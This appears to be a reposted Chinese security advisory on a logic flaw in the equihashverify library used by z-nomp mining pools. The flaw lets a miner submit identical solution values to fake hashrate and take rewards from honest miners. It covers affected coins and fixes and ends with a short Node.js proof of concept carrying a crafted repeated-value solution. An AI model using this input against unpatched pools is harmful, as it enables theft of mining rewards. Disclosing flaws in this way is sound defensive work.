黑客偽造算力盜取多種數字貨幣
最近,360檢測了一種新型攻擊,黑客可以利用漏洞偽造算力,進而從礦池中竊取數字貨幣。經過分析,我們發現此類攻擊利用了一個equihash演算法(equihashverify:https://github.com/joshuayabut/equihashverify)實現上的邏輯漏洞。該漏洞可導致惡意礦工向z-nomp礦池提交虛假share,從而偽造自己的算力。從礦池中竊取誠實礦工的挖礦成果。由於目前許多新生數字貨幣均使用equihash演算法進行工作量證明,且多數equihash礦池依賴於該equihashverify進行礦工算力校驗,所以該漏洞嚴重已經影響多個數字貨幣礦池。
Equihash 是一種工作量證明演算法,由 Alex Biryukov 以及Dmitry Khovratovich設計而成,以一種電腦科學以及加密學概念(叫做廣義生日悖論)為基礎。 Equihash是一種需要高記憶體的工作量證明,這意味你能挖到多少幣主要取決於你的裝置記憶體的大小。在短期內要建立一個低成本的挖礦定製硬體(專用積體電路)幾乎不可能,所以Equihash被認為可以構造更去中心化的一種POW演算法。z-nomp在對Equihash工作量證明進行驗證的時候使用了equihashverify依賴庫來對礦工提交算力證明份額進行校驗。equihashverify對Equihash解驗證的錯誤實現,導致了該漏洞。
下面我們來看看漏洞:
在equi.c檔案中,在函式bool verifyEH(const char hdr, const char soln)中,hdr是區塊頭資訊,引數soln是礦工求解出來的{Xij}序列。verifyEH函式的作用,就是用來判斷{Xij}是否是由區塊頭資訊hdr產生的廣義生日悖論問題的正確解。
Equihash演算法的整體實現可以理解為將Xij序列帶入到
Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512);
然後判斷Vhash的結果是否全部為0。如果全部為0,則返回true;如果全部不為0,則返回false。這看似正確的實現,但實際上程式設計人員沒有考慮到:在廣義生日悖論問題中,所有的xij必須是不相同的。而這裡並沒有檢查是否由重複。對於任意區塊頭hdr,攻擊者只要讓所有的 xi全部相等,則得到結果:
hash(hdr,x1)=hash(hdr,x2) =…= hash(hdr,x512)
由於這裡剛好有偶數個,那麼可以得到:
Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512)=0
也就是說,對於任意hdr,攻擊者隨機選擇一個21bit的數x,讓後讓soln={x,x,x,…,x},就可以繞過廣義生日悖論問題驗證,從而實現高達數十萬倍的算力數虛構。由於equihashverify實現中缺乏equihash論文中的多種其他校驗演算法,所以除了這個簡單的碰撞攻擊之外,該程式碼還存在其他安全問題。密碼演算法的實現應嚴格按照演算法標準來進行,否則就容易出現安全漏洞。Equihash演算法標準詳細細節可參考論文:https://www.cryptolux.org/images/b/b9/Equihash.pdf
漏洞影響範圍
z-nomp是目前是目前市場佔有率最高的equihash礦池。此次偽造算力攻擊主要針對各個z-nomp或基於z-nomp的礦池例項,至少影響了包括Zcash、Bitcoin Gold、Zencash、Bitcoin Private、Zclassic、Komodo、Hush、BitcoinZ、Bitcoin Candy、NewBTG等多種數字貨幣。
當前修復情況
目前,z-nomp已經將了equihashverify庫的的依賴換成了官方認證的版本(https://github.com/zencashofficial/equihashverify.git)。zencash官方已在上週釋出更新公告:https://blog.zencash.com/update-for-the-equihash-mining-application-z-nomp/。 Bitcoin Gold官方也更新了新的equihashjs-verify。Zclassic/BTG/Zcash等主流數字貨幣和主流礦場均已修復了該實現漏洞。但由於數字貨幣分叉幣和程式碼fork非常多,所以仍存在眾多小數字貨幣和小礦池未修復該漏洞,360建議各數字貨幣社群和礦池及時更新。
解決方案
可使用目前zencash官方的equihash解校驗器的來進行廣義生日問題解校驗。https://github.com/zencashofficial/equihashverify
這裡提供一個簡單的POC:
var ev = require(‘bindings’)(‘equihashverify.node’); header = Buffer(‘0400000008e9694cc2120ec1b5733cc12687b609058eec4f7046a521ad1d1e3049b400003e7420ed6f40659de0305ef9b7ec037f4380ed9848bc1c015691c90aa16ff3930000000000000000000000000000000000000000000000000000000000000000c9310d5874e0001f000000000000000000000000000000010b000000000000000000000000000040’, ‘hex’); soln = Buffer(‘0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f’, ‘hex’); console.log(ev.verify(header, soln));
相關文章
- 黑客盜取《劍網3》虛擬貨幣60億?西山居:bug已修復黑客
- 800多種數字貨幣宣告死亡!暴跌70%的比特幣到底是什麼?比特幣
- 多幣種錢包系統開發,數字貨幣交易所繫統開發
- 區塊鏈支付系統開發,數字貨幣支付多幣種錢包系統開發區塊鏈
- 黑客又對數字貨幣下手了 這次瞄準了礦場黑客
- 黑客太猖獗!去年數字貨幣失竊金額達17億美元黑客
- APT黑客組織Lazarus再度活躍,這次盯上了數字貨幣APT黑客
- CipherTrace:2018年上半年被盜數字加密貨幣達7.61億美元加密
- 數字貨幣交易系統開發 數字貨幣交易軟體搭建
- php偽造Referer請求反盜鏈資源PHP
- 數字資產多幣種錢包開發幣幣交易系統開發
- 數字貨幣交易系統開發、數字貨幣交易平臺開發、 虛擬數字貨幣交易平臺開發、區塊鏈數字貨幣交易系統開發區塊鏈
- YottaChain:數字貨幣YTA助力資料儲存創造價值AI
- 數字貨幣可能重構全球貨幣體系
- 免費開源數字貨幣交易所、免費開源數字貨幣交易系統、Java開源數字貨幣交易所 、Java開源數字貨幣交易系統Java
- 數字貨幣現貨交易方式 | 數字貨幣現貨交易模式系統開發定製部署模式
- 多幣種數字錢包開發及區塊鏈數字錢包系統區塊鏈
- 數字資產多幣種錢包交易所開發
- 6億美元加密貨幣盜竊案!黑客竟承諾歸還全部資產?加密黑客
- FBI認為史上最大加密貨幣盜竊案是朝鮮黑客所為加密黑客
- 免費數字貨幣交易系統、java免費數字貨幣交易系統、免費數字資產交易系統、數字貨幣交易所開源Java
- 除數字貨幣,區塊鏈影響全球的八種方式區塊鏈
- 小心被忽悠,一文分清虛擬貨幣、數字貨幣、加密貨幣和代幣加密
- 數字貨幣生態篇:大變革,數字貨幣生態藍圖(附下載)
- 以太坊客戶端 Geth 出漏洞,超過 2000 萬美元的數字貨幣被盜客戶端
- 篡改 npm 包盜取比特幣始末NPM比特幣
- 加密數字貨幣(比特幣)的技術原理分析加密比特幣
- Bitwise:高達86%的加密貨幣交易量可能是偽造的加密
- 數字人民幣之外,還有哪些國家正在試點央行數字貨幣?
- 數字人民幣來了,數字貨幣能代替現金消費使用嗎?
- [譯] 數字貨幣錢包詳解
- Python金融數字貨幣量化投資Python
- 數字貨幣交易所開發方案丨數字貨幣交易所繫統開發(正式版)丨數字貨幣交易所開發原始碼原始碼
- 比特幣與山寨幣的數字貨幣交易庫 CCXT——CryptoCurrency eXchange比特幣
- 數字貨幣交易所開發詳情丨數字貨幣交易所繫統開發(詳細及邏輯)丨數字貨幣交易所原始碼原始碼
- 幣圈量化:數字貨幣多平臺對衝穩定套利 V2.1 (註釋版)
- 從區塊鏈到數字貨幣之路區塊鏈
- 數字貨幣量化交易平臺 數字貨幣量化交易平臺有哪些 雲度數字貨幣量化交易 什麼是量化交易 雲度量化介紹 數字貨幣市場的量化交易工具有哪些? 量化交易需要注意什麼?